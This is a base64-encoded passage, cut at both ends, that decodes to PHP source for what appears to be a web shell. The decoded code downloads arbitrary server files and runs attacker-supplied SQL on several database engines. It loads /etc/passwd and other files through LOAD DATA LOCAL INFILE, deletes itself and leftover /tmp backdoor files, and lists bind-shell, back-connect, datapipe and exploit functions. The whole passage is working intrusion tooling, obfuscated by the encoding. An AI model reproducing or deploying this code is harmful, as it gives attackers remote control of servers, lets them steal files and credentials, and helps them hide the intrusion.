UyAoXCcnLkBpbXBsb2RlKCInLCAnIiwgJHRoaXMtPnJvd3NbJGldKS4nXCcpOyc7DQogIAkgIH0NCiAgICBicmVhazsNCiAgICBjYXNlICdPcmFjbGUnOg0KICAgICAgJHRoaXMtPmR1bXBbMF0gPSAnIyMgT1JBQ0xFIGR1bXAnOw0KICAgICAgJHRoaXMtPmR1bXBbXSAgPSAnIyMgdW5kZXIgY29uc3RydWN0aW9uJzsNCiAgICBicmVhazsNCiAgICBkZWZhdWx0Og0KICAgICByZXR1cm4gMDsNCiAgICBicmVhazsNCiAgICB9DQogICByZXR1cm4gMTsNCiAgfQ0KIGZ1bmN0aW9uIGNsb3NlKCkNCiAgew0KICAgc3dpdGNoKCR0aGlzLT5kYikNCiAgICB7DQogIAljYXNlICdNeVNRTCc6DQogIAkgQG15c3FsX2Nsb3NlKCR0aGlzLT5jb25uZWN0aW9uKTsNCiAgICBicmVhazsNCiAgICBjYXNlICdNU1NRTCc6DQogICAgIEBtc3NxbF9jbG9zZSgkdGhpcy0+Y29ubmVjdGlvbik7DQogICAgYnJlYWs7DQogICAgY2FzZSAnUG9zdGdyZVNRTCc6DQogICAgIEBwZ19jbG9zZSgkdGhpcy0+Y29ubmVjdGlvbik7DQogICAgYnJlYWs7DQogICAgY2FzZSAnT3JhY2xlJzoNCiAgICAgQG9jaV9jbG9zZSgkdGhpcy0+Y29ubmVjdGlvbik7DQogICAgYnJlYWs7DQogICAgfQ0KICB9DQogZnVuY3Rpb24gYWZmZWN0ZWRfcm93cygpDQogIHsNCiAgIHN3aXRjaCgkdGhpcy0+ZGIpDQogICAgew0KICAJY2FzZSAnTXlTUUwnOg0KICAJIHJldHVybiBAbXlzcWxfYWZmZWN0ZWRfcm93cygkdGhpcy0+cmVzKTsNCiAgICBicmVhazsNCiAgICBjYXNlICdNU1NRTCc6DQogICAgIHJldHVybiBAbXNzcWxfYWZmZWN0ZWRfcm93cygkdGhpcy0+cmVzKTsNCiAgICBicmVhazsNCiAgICBjYXNlICdQb3N0Z3JlU1FMJzoNCiAgICAgcmV0dXJuIEBwZ19hZmZlY3RlZF9yb3dzKCR0aGlzLT5yZXMpOw0KICAgIGJyZWFrOw0KICAgIGNhc2UgJ09yYWNsZSc6DQogICAgIHJldHVybiBAb2Npcm93Y291bnQoJHRoaXMtPnJlcyk7DQogICAgYnJlYWs7DQogICAgZGVmYXVsdDoNCiAgICAgcmV0dXJuIDA7DQogICAgYnJlYWs7DQogICAgfQ0KICB9DQogfQ0KaWYoIWVtcHR5KCRfUE9TVFsnY21kJ10pICYmICRfUE9TVFsnY21kJ109PSJkb3dubG9hZF9maWxlIiAmJiAhZW1wdHkoJF9QT1NUWydkX25hbWUnXSkpDQogew0KICBpZighJGZpbGU9QGZvcGVuKCRfUE9TVFsnZF9uYW1lJ10sInIiKSkgeyBlcnIoMSwkX1BPU1RbJ2RfbmFtZSddKTsgJF9QT1NUWydjbWQnXT0iIjsgfQ0KICBlbHNlDQogICB7DQogICAgQG9iX2NsZWFuKCk7DQogICAgJGZpbGVuYW1lID0gQGJhc2VuYW1lKCRfUE9TVFsnZF9uYW1lJ10pOw0KICAgICRmaWxlZHVtcCA9IEBmcmVhZCgkZmlsZSxAZmlsZXNpemUoJF9QT1NUWydkX25hbWUnXSkpOw0KICAgIGZjbG9zZSgkZmlsZSk7DQogICAgJGNvbnRlbnRfZW5jb2Rpbmc9JG1pbWVfdHlwZT0nJzsNCiAgICBjb21wcmVzcygkZmlsZW5hbWUsJGZpbGVkdW1wLCRfUE9TVFsnY29tcHJlc3MnXSk7DQogICAgaWYgKCFlbXB0eSgkY29udGVudF9lbmNvZGluZykpIHsgaGVhZGVyKCdDb250ZW50LUVuY29kaW5nOiAnIC4gJGNvbnRlbnRfZW5jb2RpbmcpOyB9DQogICAgaGVhZGVyKCJDb250ZW50LXR5cGU6ICIuJG1pbWVfdHlwZSk7DQogICAgaGVhZGVyKCJDb250ZW50LWRpc3Bvc2l0aW9uOiBhdHRhY2htZW50OyBmaWxlbmFtZT1cIiIuJGZpbGVuYW1lLiJcIjsiKTsNCiAgICBlY2hvICRmaWxlZHVtcDsNCiAgICBleGl0KCk7DQogICB9DQogfQ0KaWYoaXNzZXQoJF9HRVRbJ3BocGluZm8nXSkpIHsgZWNobyBAcGhwaW5mbygpOyBlY2hvICI8YnI+PGRpdiBhbGlnbj1jZW50ZXI+PGZvbnQgZmFjZT1WZXJkYW5hIHNpemU9LTI+PGI+WyA8YSBocmVmPSIuJF9TRVJWRVJbJ1BIUF9TRUxGJ10uIj5CQUNLPC9hPiBdPC9iPjwvZm9udD48L2Rpdj4iOyBkaWUoKTsgfQ0KaWYgKCFlbXB0eSgkX1BPU1RbJ2NtZCddKSAmJiAkX1BPU1RbJ2NtZCddPT0iZGJfcXVlcnkiKQ0KIHsNCiBlY2hvICRoZWFkOw0KICRzcWwgPSBuZXcgbXlfc3FsKCk7DQogJHNxbC0+ZGIgICA9ICRfUE9TVFsnZGInXTsNCiAkc3FsLT5ob3N0ID0gJF9QT1NUWydkYl9zZXJ2ZXInXTsNCiAkc3FsLT5wb3J0ID0gJF9QT1NUWydkYl9wb3J0J107DQogJHNxbC0+dXNlciA9ICRfUE9TVFsnbXlzcWxfbCddOw0KICRzcWwtPnBhc3MgPSAkX1BPU1RbJ215c3FsX3AnXTsNCiAkc3FsLT5iYXNlID0gJF9QT1NUWydteXNxbF9kYiddOw0KICRxdWVyeXMgPSBAZXhwbG9kZSgnOycsJF9QT1NUWydkYl9xdWVyeSddKTsNCiBlY2hvICc8Ym9keSBiZ2NvbG9yPUJsYWNrPic7DQogaWYoISRzcWwtPmNvbm5lY3QoKSkgZWNobyAiPGRpdiBhbGlnbj1jZW50ZXI+PGZvbnQgZmFjZT1WZXJkYW5hIHNpemU9LTIgY29sb3I9V2hpdGU+PGI+Q2FuJ3QgY29ubmVjdCB0byBTUUwgc2VydmVyPC9iPjwvZm9udD48L2Rpdj4iOw0KICBlbHNlDQogICB7DQogICBpZighZW1wdHkoJHNxbC0+YmFzZSkmJiEkc3FsLT5zZWxlY3RfZGIoKSkgZWNobyAiPGRpdiBhbGlnbj1jZW50ZXI+PGZvbnQgZmFjZT1WZXJkYW5hIHNpemU9LTIgY29sb3I9V2hpdGU+PGI+Q2FuJ3Qgc2VsZWN0IGRhdGFiYXNlPC9iPjwvZm9udD48L2Rpdj4iOw0KICAgZWxzZQ0KICAgIHsNCiAgICBmb3JlYWNoKCRxdWVyeXMgYXMgJG51bT0+JHF1ZXJ5KQ0KICAgICB7DQogICAgICBpZihzdHJsZW4oJHF1ZXJ5KT41KQ0KICAgICAgew0KICAgICAgZWNobyAiPGZvbnQgZmFjZT1WZXJkYW5hIHNpemU9LTIgY29sb3I9V2hpdGU+PGI+UXVlcnkjIi4kbnVtLiIgOiAiLmh0bWxzcGVjaWFsY2hhcnMoJHF1ZXJ5LEVOVF9RVU9URVMpLiI8L2I+PC9mb250Pjxicj4iOw0KICAgICAgc3dpdGNoKCRzcWwtPnF1ZXJ5KCRxdWVyeSkpDQogICAgICAgew0KICAgICAgIGNhc2UgJzAnOg0KICAgICAgIGVjaG8gIjx0YWJsZSB3aWR0aD0xMDAlPjx0cj48dGQgY2xhc3M9bWFpbj48Zm9udCBmYWNlPVZlcmRhbmEgc2l6ZT0tMj5FcnJvciA6IDxiPiIuJHNxbC0+ZXJyb3IuIjwvYj48L2ZvbnQ+PC90ZD48L3RyPjwvdGFibGU+IjsNCiAgICAgICBicmVhazsNCiAgICAgICBjYXNlICcxJzoNCiAgICAgICBpZigkc3FsLT5nZXRfcmVzdWx0KCkpDQogICAgICAgIHsNCiAgICAgICAJZWNobyAiPHRhYmxlIHdpZHRoPTEwMCUgYm9yZGVyPTAgY2VsbHBhZGRpbmc9MCBjZWxsc3BhY2luZz0wPiI7DQogICAgICAgIGZvcmVhY2goJHNxbC0+Y29sdW1ucyBhcyAkaz0+JHYpICRzcWwtPmNvbHVtbnNbJGtdID0gaHRtbHNwZWNpYWxjaGFycygkdixFTlRfUVVPVEVTKTsNCiAgICAgICAJJGtleXMgPSBAaW1wbG9kZSgiJm5ic3A7PC9iPjwvZm9udD48L3RkPjx0ZCBjbGFzcz1tYWluPjxmb250IGZhY2U9VmVyZGFuYSBzaXplPS0yPjxiPiZuYnNwOyIsICRzcWwtPmNvbHVtbnMpOw0KICAgICAgICBlY2hvICI8dHI+PHRkIGNsYXNzPW1haW4gYmdjb2xvcj1XaGl0ZT48Zm9udCBmYWNlPVZlcmRhbmEgc2l6ZT0tMj48Yj4mbmJzcDsiLiRrZXlzLiImbmJzcDs8L2I+PC9mb250PjwvdGQ+PC90cj4iOw0KICAgICAgICBmb3IoJGk9MDskaTwkc3FsLT5udW1fcm93czskaSsrKQ0KICAgICAgICAgew0KICAgICAgICAgZm9yZWFjaCgkc3FsLT5yb3dzWyRpXSBhcyAkaz0+JHYpICRzcWwtPnJvd3NbJGldWyRrXSA9IGh0bWxzcGVjaWFsY2hhcnMoJHYsRU5UX1FVT1RFUyk7DQogICAgICAgICAkdmFsdWVzID0gQGltcGxvZGUoIiZuYnNwOzwvZm9udD48L3RkPjx0ZCBjbGFzcz1tYWluPjxmb250IGZhY2U9VmVyZGFuYSBzaXplPS0yPiZuYnNwOyIsJHNxbC0+cm93c1skaV0pOw0KICAgICAgICAgZWNobyAnPHRyPjx0ZCBjbGFzcz1tYWluPjxmb250IGZhY2U9VmVyZGFuYSBzaXplPS0yPiZuYnNwOycuJHZhbHVlcy4nJm5ic3A7PC9mb250PjwvdGQ+PC90cj4nOw0KICAgICAgICAgfQ0KICAgICAgICBlY2hvICI8L3RhYmxlPiI7DQogICAgICAgIH0NCiAgICAgICBicmVhazsNCiAgICAgICBjYXNlICcyJzoNCiAgICAgICAkYXIgPSAkc3FsLT5hZmZlY3RlZF9yb3dzKCk/KCRzcWwtPmFmZmVjdGVkX3Jvd3MoKSk6KCcwJyk7DQogICAgICAgZWNobyAiPHRhYmxlIHdpZHRoPTEwMCU+PHRyPjx0ZCBjbGFzcz1tYWluPjxmb250IGZhY2U9VmVyZGFuYSBzaXplPS0yPmFmZmVjdGVkIHJvd3MgOiA8Yj4iLiRhci4iPC9iPjwvZm9udD48L3RkPjwvdHI+PC90YWJsZT48YnI+IjsNCiAgICAgICBicmVhazsNCiAgICAgICB9DQogICAgICB9DQogICAgIH0NCiAgICB9DQogICAgZWNobyAiPGJyPjxkaXYgYWxpZ249bGVmdCBpZD0nbic+PHRhYmxlIHdpZHRoPTEwMCUgaGVpZ2h0PTYwIGJvcmRlcj0wIGNlbGxwYWRkaW5nPTAgY2VsbHNwYWNpbmc9MD4iOw0KICAgIGVjaG8gIjx0cj48dGQgYWxpZ249Y2VudGVyPjxiPlNob3cgRGF0YWJhc2U8L2I+PC90ZD48dGQgYWxpZ249Y2VudGVyPjxiPlNob3cgVGFibGVzPC9iPjwvdGQ+PC90cj4iOw0KICAgIGVjaG8gIjx0cj48dGQ+PHRleHRhcmVhIGNvbHM9NTAgcm93cz02IG5hbWU9cXVlcnlfZGI+IjsNCiAgICAkcXVlcnlfZGIgPSBteXNxbF9xdWVyeSgiU0hPVyBEQVRBQkFTRVM7Iik7DQogICAgd2hpbGUgKCRxdWVyeV9kYl9yb3cgPSBteXNxbF9mZXRjaF9hcnJheSgkcXVlcnlfZGIpKQ0KICAgIHsNCiAgICAJZWNobyAkcXVlcnlfZGJfcm93WzBdLiJcbiI7DQogICAgfQ0KICAgIGVjaG8gIjwvdGV4dGFyZWE+PC90ZD48dGQ+PGRpdiBhbGlnbj1yaWdodD48dGV4dGFyZWEgY29scz02MCByb3dzPTYgbmFtZT1xdWVyeV90YWJsZXM+IjsNCiAgICBpZiAoKCRfUE9TVFsnbXlzcWxfZGInXSkgJiYgJHNxbC0+c2VsZWN0X2RiKCkpDQogICAgew0KICAgICAkcXVlcnlfdGFibGVzID0gbXlzcWxfcXVlcnkoIlNIT1cgVEFCTEVTOyIpOw0KICAgICB3aGlsZSAoJHF1ZXJ5X3RhYmxlc19yb3cgPSBteXNxbF9mZXRjaF9hcnJheSgkcXVlcnlfdGFibGVzKSkNCiAgICAgew0KICAgICAJZWNobyAkcXVlcnlfdGFibGVzX3Jvd1swXS4iXG4iOw0KICAgICB9DQogICAgfQ0KICAgIGVjaG8gIjwvdGV4dGFyZWE+PC9kaXY+PC90ZD48L3RyPjwvdGFibGU+PC9kaXY+IjsNCiAgIH0NCiBlY2hvICI8YnI+PGZvcm0gbmFtZT1mb3JtIG1ldGhvZD1QT1NUPiI7DQogZWNobyBpbignaGlkZGVuJywnZGInLDAsJF9QT1NUWydkYiddKTsNCiBlY2hvIGluKCdoaWRkZW4nLCdkYl9zZXJ2ZXInLDAsJF9QT1NUWydkYl9zZXJ2ZXInXSk7DQogZWNobyBpbignaGlkZGVuJywnZGJfcG9ydCcsMCwkX1BPU1RbJ2RiX3BvcnQnXSk7DQogZWNobyBpbignaGlkZGVuJywnbXlzcWxfbCcsMCwkX1BPU1RbJ215c3FsX2wnXSk7DQogZWNobyBpbignaGlkZGVuJywnbXlzcWxfcCcsMCwkX1BPU1RbJ215c3FsX3AnXSk7DQogZWNobyBpbignaGlkZGVuJywnbXlzcWxfZGInLDAsJF9QT1NUWydteXNxbF9kYiddKTsNCiBlY2hvIGluKCdoaWRkZW4nLCdjbWQnLDAsJ2RiX3F1ZXJ5Jyk7DQogZWNobyAiPGRpdiBhbGlnbj1jZW50ZXI+IjsNCiBlY2hvICI8Zm9udCBmYWNlPVZlcmRhbmEgc2l6ZT0tMj48Yj5Vc2UgZGF0YWJhc2U6IDwvYj48aW5wdXQgdHlwZT10ZXh0IG5hbWU9bXlzcWxfZGIgdmFsdWU9XCIiLiRzcWwtPmJhc2UuIlwiPjwvZm9udD48YnI+IjsNCiBlY2hvICI8dGV4dGFyZWEgY29scz02NSByb3dzPTEwIG5hbWU9ZGJfcXVlcnk+Ii4oIWVtcHR5KCRfUE9TVFsnZGJfcXVlcnknXSk/KCRfUE9TVFsnZGJfcXVlcnknXSk6KCJTSE9XIERBVEFCQVNFUzsiKSkuIjwvdGV4dGFyZWE+PGJyPjxpbnB1dCB0eXBlPXN1Ym1pdCBuYW1lPXN1Ym1pdCB2YWx1ZT1cIiBSdW4gU1FMIHF1ZXJ5IFwiPjwvZGl2Pjxicj48YnI+IjsNCiBlY2hvICI8ZGl2IGFsaWduPWNlbnRlcj48Zm9udCBmYWNlPVZlcmRhbmEgc2l6ZT0tMj48Yj5Mb2FkIGZpbGU6IDwvYj48aW5wdXQgdHlwZT10ZXh0IG5hbWU9bG9hZGZpbGUgc2l6ZT0xMDAgdmFsdWU9Ii4oIWVtcHR5KCRfUE9TVFsnbG9hZGZpbGUnXSk/KCRfUE9TVFsnbG9hZGZpbGUnXSk6KCIvZXRjL3Bhc3N3ZCIpKS4iPiIud3MoMikuIjxpbnB1dCB0eXBlPXN1Ym1pdCBuYW1lPXN1Ym1pdCB2YWx1ZT1cIiBMb2FkIFwiPjxiciAvPjxiciAvPiI7DQogZWNobyAiPGI+RmlsZSBjb250ZW50PC9iPjxicj48YnI+IjsNCiBlY2hvICI8dGV4dGFyZWEgY29scz0xMjEgcm93cz0xNSBuYW1lPXNob3dsb2FkZmlsZT4iOw0KIEBteXNxbF9xdWVyeSgiRFJPUCBUQUJMRSBJRiBFWElTVFMgQWx1Y2FyIik7DQogQG15c3FsX3F1ZXJ5KCJDUkVBVEUgVEFCTEUgYEFsdWNhcmAgKCBgZmlsZWAgTE9OR0JMT0IgTk9UIE5VTEwgKSIpOw0KIEBteXNxbF9xdWVyeSgiTE9BRCBEQVRBIExPQ0FMIElORklMRSBcIiIuc3RyX3JlcGxhY2UoJ1xcJywnLycsJF9QT1NUWydsb2FkZmlsZSddKS4iXCIgSU5UTyBUQUJMRSBBbHVjYXIgRklFTERTIFRFUk1JTkFURUQgQlkgJycgRVNDQVBFRCBCWSAnJyBMSU5FUyBURVJNSU5BVEVEIEJZICdcbiciKTsNCiAkciA9IEBteXNxbF9xdWVyeSgiU0VMRUNUICogRlJPTSBBbHVjYXIiKTsNCiB3aGlsZSgoJHJfc3FsID0gQG15c3FsX2ZldGNoX2FycmF5KCRyKSkpIHsgZWNobyBAaHRtbHNwZWNpYWxjaGFycygkcl9zcWxbMF0pOyB9DQogQG15c3FsX3F1ZXJ5KCJEUk9QIFRBQkxFIElGIEVYSVNUUyBBbHVjYXIiKTsNCiBlY2hvICI8L3RleHRhcmVhPjwvZGl2PiI7DQogZWNobyAiPC9mb3JtPiI7DQogZWNobyAiPGJyPjxkaXYgYWxpZ249Y2VudGVyPjxmb250IGZhY2U9VmVyZGFuYSBzaXplPS0yPjxiPlsgPGEgaHJlZj0iLiRfU0VSVkVSWydQSFBfU0VMRiddLiI+QkFDSzwvYT4gXTwvYj48L2ZvbnQ+PC9kaXY+IjsgZGllKCk7DQogfQ0KaWYoaXNzZXQoJF9HRVRbJ2RlbGV0ZSddKSkNCiB7DQogICBAdW5saW5rKF9fRklMRV9fKTsNCiB9DQppZihpc3NldCgkX0dFVFsndG1wJ10pKQ0KIHsNCiAgIEB1bmxpbmsoIi90bXAvYmRwbCIpOw0KICAgQHVubGluaygiL3RtcC9iYWNrIik7DQogICBAdW5saW5rKCIvdG1wL2JkIik7DQogICBAdW5saW5rKCIvdG1wL2JkLmMiKTsNCiAgIEB1bmxpbmsoIi90bXAvZHAiKTsNCiAgIEB1bmxpbmsoIi90bXAvZHBjIik7DQogICBAdW5saW5rKCIvdG1wL2RwYy5jIik7DQogfQ0KaWYoaXNzZXQoJF9HRVRbJ3BocGluaSddKSkNCnsNCmVjaG8gJGhlYWQ7DQpmdW5jdGlvbiBVX3ZhbHVlKCR2YWx1ZSkNCiB7DQogaWYgKCR2YWx1ZSA9PSAnJykgcmV0dXJuICc8aT5ubyB2YWx1ZTwvaT4nOw0KIGlmIChAaXNfYm9vbCgkdmFsdWUpKSByZXR1cm4gJHZhbHVlID8gJ1RSVUUnIDogJ0ZBTFNFJzsNCiBpZiAoJHZhbHVlID09PSBudWxsKSByZXR1cm4gJ05VTEwnOw0KIGlmIChAaXNfb2JqZWN0KCR2YWx1ZSkpICR2YWx1ZSA9IChhcnJheSkgJHZhbHVlOw0KIGlmIChAaXNfYXJyYXkoJHZhbHVlKSkNCiB7DQogQG9iX3N0YXJ0KCk7DQogcHJpbnRfcigkdmFsdWUpOw0KICR2YWx1ZSA9IEBvYl9nZXRfY29udGVudHMoKTsNCiBAb2JfZW5kX2NsZWFuKCk7DQogfQ0KIHJldHVybiBVX3dvcmR3cmFwKChzdHJpbmcpICR2YWx1ZSk7DQogfQ0KZnVuY3Rpb24gVV93b3Jkd3JhcCgkc3RyKQ0KIHsNCiAkc3RyID0gQHdvcmR3cmFwKEBodG1sc3BlY2lhbGNoYXJzKCRzdHIpLCAxMDAsICc8d2JyIC8+JywgdHJ1ZSk7DQogcmV0dXJuIEBwcmVnX3JlcGxhY2UoJyEoJlteO10qKTx3YnIgLz4oW147XSo7KSEnLCAnJDEkMjx3YnIgLz4nLCAkc3RyKTsNCiB9DQppZiAoQGZ1bmN0aW9uX2V4aXN0cygnaW5pX2dldF9hbGwnKSkNCiB7DQogJHIgPSAnJzsNCiBlY2hvICc8dGFibGUgd2lkdGg9MTAwJT4nLCAnPHRyPjx0ZCBjbGFzcz1tYWluIGJnY29sb3I9IzgzYzgwOT48Zm9udCBmYWNlPVZlcmRhbmEgc2l6ZT0tMiBjb2xvcj1XaGl0ZT48ZGl2IGFsaWduPWNlbnRlcj48Yj5EaXJlY3RpdmU8L2I+PC9kaXY+PC9mb250PjwvdGQ+PHRkIGNsYXNzPW1haW4gYmdjb2xvcj0jODNjODA5Pjxmb250IGZhY2U9VmVyZGFuYSBzaXplPS0yIGNvbG9yPVdoaXRlPjxkaXYgYWxpZ249Y2VudGVyPjxiPkxvY2FsIFZhbHVlPC9iPjwvZGl2PjwvZm9udD48L3RkPjx0ZCBjbGFzcz1tYWluIGJnY29sb3I9IzgzYzgwOT48Zm9udCBmYWNlPVZlcmRhbmEgc2l6ZT0tMiBjb2xvcj1XaGl0ZT48ZGl2IGFsaWduPWNlbnRlcj48Yj5NYXN0ZXIgVmFsdWU8L2I+PC9kaXY+PC9mb250PjwvdGQ+PC90cj4nOw0KIGZvcmVhY2ggKEBpbmlfZ2V0X2FsbCgpIGFzICRrZXk9PiR2YWx1ZSkNCiAgew0KICAkciAuPSAnPHRyPjx0ZCBjbGFzcz1tYWluPicud3MoMykuJzxmb250IGZhY2U9VmVyZGFuYSBzaXplPS0yPjxiPicuJGtleS4nPC9iPjwvZm9udD48L3RkPjx0ZCBjbGFzcz1tYWluPjxmb250IGZhY2U9VmVyZGFuYSBzaXplPS0yPjxkaXYgYWxpZ249Y2VudGVyPjxiPicuVV92YWx1ZSgkdmFsdWVbJ2xvY2FsX3ZhbHVlJ10pLic8L2I+PC9kaXY+PC9mb250PjwvdGQ+PHRkIGNsYXNzPW1haW4+PGZvbnQgZmFjZT1WZXJkYW5hIHNpemU9LTI+PGRpdiBhbGlnbj1jZW50ZXI+PGI+Jy5VX3ZhbHVlKCR2YWx1ZVsnZ2xvYmFsX3ZhbHVlJ10pLic8L2I+PC9kaXY+PC9mb250PjwvdGQ+PC90cj4nOw0KICB9DQogZWNobyAkcjsNCiBlY2hvICc8L3RhYmxlPic7DQogfQ0KZWNobyAiPGJyPjxkaXYgYWxpZ249Y2VudGVyPjxmb250IGZhY2U9VmVyZGFuYSBzaXplPS0yPjxiPlsgPGEgaHJlZj0iLiRfU0VSVkVSWydQSFBfU0VMRiddLiI+QkFDSzwvYT4gXTwvYj48L2ZvbnQ+PC9kaXY+IjsNCmRpZSgpOw0KfQ0KaWYoaXNzZXQoJF9HRVRbJ2NwdSddKSkNCiB7DQogICBlY2hvICRoZWFkOw0KICAgZWNobyAnPHRhYmxlIHdpZHRoPTEwMCU+PHRyPjx0ZCBjbGFzcz1tYWluIGJnY29sb3I9QmxhY2s+PGRpdiBhbGlnbj1jZW50ZXI+PGZvbnQgZmFjZT1WZXJkYW5hIHNpemU9LTIgY29sb3I9V2hpdGU+PGI+Q1BVPC9iPjwvZm9udD48L2Rpdj48L3RkPjwvdHI+PC90YWJsZT48dGFibGUgd2lkdGg9MTAwJT4nOw0KICAgJGNwdWYgPSBAZmlsZSgiY3B1aW5mbyIpOw0KICAgaWYoJGNwdWYpDQogICAgew0KICAgICAgJGMgPSBAc2l6ZW9mKCRjcHVmKTsNCiAgICAgIGZvcigkaT0wOyRpPCRjOyRpKyspDQogICAgICAgIHsNCiAgICAgICAgICAkaW5mbyA9IEBleHBsb2RlKCI6IiwkY3B1ZlskaV0pOw0KICAgICAgICAgIGlmKCRpbmZvWzFdPT0iIil7ICRpbmZvWzFdPSItLS0iOyB9DQogICAgICAgICAgJHIgLj0gJzx0cj48dGQgY2xhc3M9bWFpbj4nLndzKDMpLic8Zm9udCBmYWNlPVZlcmRhbmEgc2l6ZT0tMj48Yj4nLnRyaW0oJGluZm9bMF0pLic8L2I+PC9mb250PjwvdGQ+PHRkIGNsYXNzPW1haW4+PGZvbnQgZmFjZT1WZXJkYW5hIHNpemU9LTI+PGRpdiBhbGlnbj1jZW50ZXI+PGI+Jy50cmltKCRpbmZvWzFdKS4nPC9iPjwvZGl2PjwvZm9udD48L3RkPjwvdHI+JzsNCiAgICAgICAgfQ0KICAgICAgZWNobyAkcjsNCiAgICB9DQogICBlbHNlDQogICAgew0KICAgICAgZWNobyAnPHRyPjx0ZCBjbGFzcz1tYWluPicud3MoMykuJzxkaXYgYWxpZ249Y2VudGVyPjxmb250IGZhY2U9VmVyZGFuYSBzaXplPS0yPjxiPiAtLS0gPC9iPjwvZm9udD48L2Rpdj48L3RkPjwvdHI+JzsNCiAgICB9DQogICBlY2hvICc8L3RhYmxlPic7DQogICBlY2hvICI8YnI+PGRpdiBhbGlnbj1jZW50ZXI+PGZvbnQgZmFjZT1WZXJkYW5hIHNpemU9LTI+PGI+WyA8YSBocmVmPSIuJF9TRVJWRVJbJ1BIUF9TRUxGJ10uIj5CQUNLPC9hPiBdPC9iPjwvZm9udD48L2Rpdj4iOw0KICAgZGllKCk7DQogfQ0KaWYoaXNzZXQoJF9HRVRbJ21lbSddKSkNCiB7DQogICBlY2hvICRoZWFkOw0KICAgZWNobyAnPHRhYmxlIHdpZHRoPTEwMCU+PHRyPjx0ZCBjbGFzcz1tYWluIGJnY29sb3I9QmxhY2s+PGRpdiBhbGlnbj1jZW50ZXI+PGZvbnQgZmFjZT1WZXJkYW5hIHNpemU9LTIgY29sb3I9V2hpdGU+PGI+TUVNT1JZPC9iPjwvZm9udD48L2Rpdj48L3RkPjwvdHI+PC90YWJsZT48dGFibGUgd2lkdGg9MTAwJT4nOw0KICAgJG1lbWYgPSBAZmlsZSgibWVtaW5mbyIpOw0KICAgaWYoJG1lbWYpDQogICAgew0KICAgICAgJGMgPSBzaXplb2YoJG1lbWYpOw0KICAgICAgZm9yKCRpPTA7JGk8JGM7JGkrKykNCiAgICAgICAgew0KICAgICAgICAgICRpbmZvID0gZXhwbG9kZSgiOiIsJG1lbWZbJGldKTsNCiAgICAgICAgICBpZigkaW5mb1sxXT09IiIpeyAkaW5mb1sxXT0iLS0tIjsgfQ0KICAgICAgICAgICRyIC49ICc8dHI+PHRkIGNsYXNzPW1haW4+Jy53cygzKS4nPGZvbnQgZmFjZT1WZXJkYW5hIHNpemU9LTI+PGI+Jy50cmltKCRpbmZvWzBdKS4nPC9iPjwvZm9udD48L3RkPjx0ZCBjbGFzcz1tYWluPjxmb250IGZhY2U9VmVyZGFuYSBzaXplPS0yPjxkaXYgYWxpZ249Y2VudGVyPjxiPicudHJpbSgkaW5mb1sxXSkuJzwvYj48L2Rpdj48L2ZvbnQ+PC90ZD48L3RyPic7DQogICAgICAgIH0NCiAgICAgIGVjaG8gJHI7DQogICAgfQ0KICAgZWxzZQ0KICAgIHsNCiAgICAgIGVjaG8gJzx0cj48dGQgY2xhc3M9bWFpbj4nLndzKDMpLic8ZGl2IGFsaWduPWNlbnRlcj48Zm9udCBmYWNlPVZlcmRhbmEgc2l6ZT0tMj48Yj4gLS0tIDwvYj48L2ZvbnQ+PC9kaXY+PC90ZD48L3RyPic7DQogICAgfQ0KICAgZWNobyAnPC90YWJsZT4nOw0KICAgZWNobyAiPGJyPjxkaXYgYWxpZ249Y2VudGVyPjxmb250IGZhY2U9VmVyZGFuYSBzaXplPS0yPjxiPlsgPGEgaHJlZj0iLiRfU0VSVkVSWydQSFBfU0VMRiddLiI+QkFDSzwvYT4gXTwvYj48L2ZvbnQ+PC9kaXY+IjsNCiAgIGRpZSgpOw0KIH0NCiRsYW5nPWFycmF5KA0KLyogLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tICovDQonZW5nX3RleHQxJyA9PidFeGVjdXRlZCBjb21tYW5kJywNCidlbmdfdGV4dDInID0+J0V4ZWN1dGUgY29tbWFuZCBvbiBzZXJ2ZXInLA0KJ2VuZ190ZXh0MycgPT4nUnVuIGNvbW1hbmQnLA0KJ2VuZ190ZXh0NCcgPT4nV29yayBkaXJlY3RvcnknLA0KJ2VuZ190ZXh0NScgPT4nVXBsb2FkIGZpbGVzIG9uIHNlcnZlcicsDQonZW5nX3RleHQ2JyA9PidMb2NhbCBmaWxlJywNCidlbmdfdGV4dDcnID0+J0FsaWFzZXMnLA0KJ2VuZ190ZXh0OCcgPT4nU2VsZWN0IGFsaWFzJywNCidlbmdfYnV0dDEnID0+J0V4ZWN1dGUnLA0KJ2VuZ19idXR0MicgPT4nVXBsb2FkJywNCidlbmdfdGV4dDknID0+J0JpbmQgcG9ydCB0byAvYmluL2Jhc2gnLA0KJ2VuZ190ZXh0MTAnPT4nUG9ydCcsDQonZW5nX3RleHQxMSc9PidQYXNzd29yZCBmb3IgYWNjZXNzJywNCidlbmdfYnV0dDMnID0+J0JpbmQnLA0KJ2VuZ190ZXh0MTInPT4nYmFjay1jb25uZWN0JywNCidlbmdfdGV4dDEzJz0+J0lQJywNCidlbmdfdGV4dDE0Jz0+J1BvcnQnLA0KJ2VuZ19idXR0NCcgPT4nQ29ubmVjdCcsDQonZW5nX3RleHQxNSc9PidVcGxvYWQgZmlsZXMgZnJvbSByZW1vdGUgc2VydmVyJywNCidlbmdfdGV4dDE2Jz0+J1dpdGgnLA0KJ2VuZ190ZXh0MTcnPT4nUmVtb3RlIGZpbGUnLA0KJ2VuZ190ZXh0MTgnPT4nTG9jYWwgZmlsZScsDQonZW5nX3RleHQxOSc9PidFeHBsb2l0cycsDQonZW5nX3RleHQyMCc9PidVc2UnLA0KJ2VuZ190ZXh0MjEnPT4nJm5ic3A7TmV3IG5hbWUnLA0KJ2VuZ190ZXh0MjInPT4nZGF0YXBpcGUnLA0KJ2VuZ190ZXh0MjMnPT4nTG9jYWwgcG9ydCcsDQonZW5nX3RleHQyNCc9PidSZW1vdGUgaG9zdCcsDQonZW5nX3RleHQyNSc9PidSZW1vdGUgcG9ydCcsDQonZW5nX3RleHQyNic9PidVc2UnLA0KJ2VuZ19idXR0NScgPT4nUnVuJywNCidlbmdfdGV4dDI4Jz0+J1dvcmsgaW4gc2FmZV9tb2RlJywNCidlbmdfdGV4dDI5Jz0+J0FDQ0VTUyBERU5JRUQnLA0KJ2VuZ19idXR0NicgPT4nQ2hhbmdlJywNCidlbmdfdGV4dDMwJz0+J0NhdCBmaWxlJywNCidlbmdfYnV0dDcnID0+J1Nob3cnLA0KJ2VuZ190ZXh0MzEnPT4nRmlsZSBub3QgZm91bmQnLA0KJ2VuZ190Z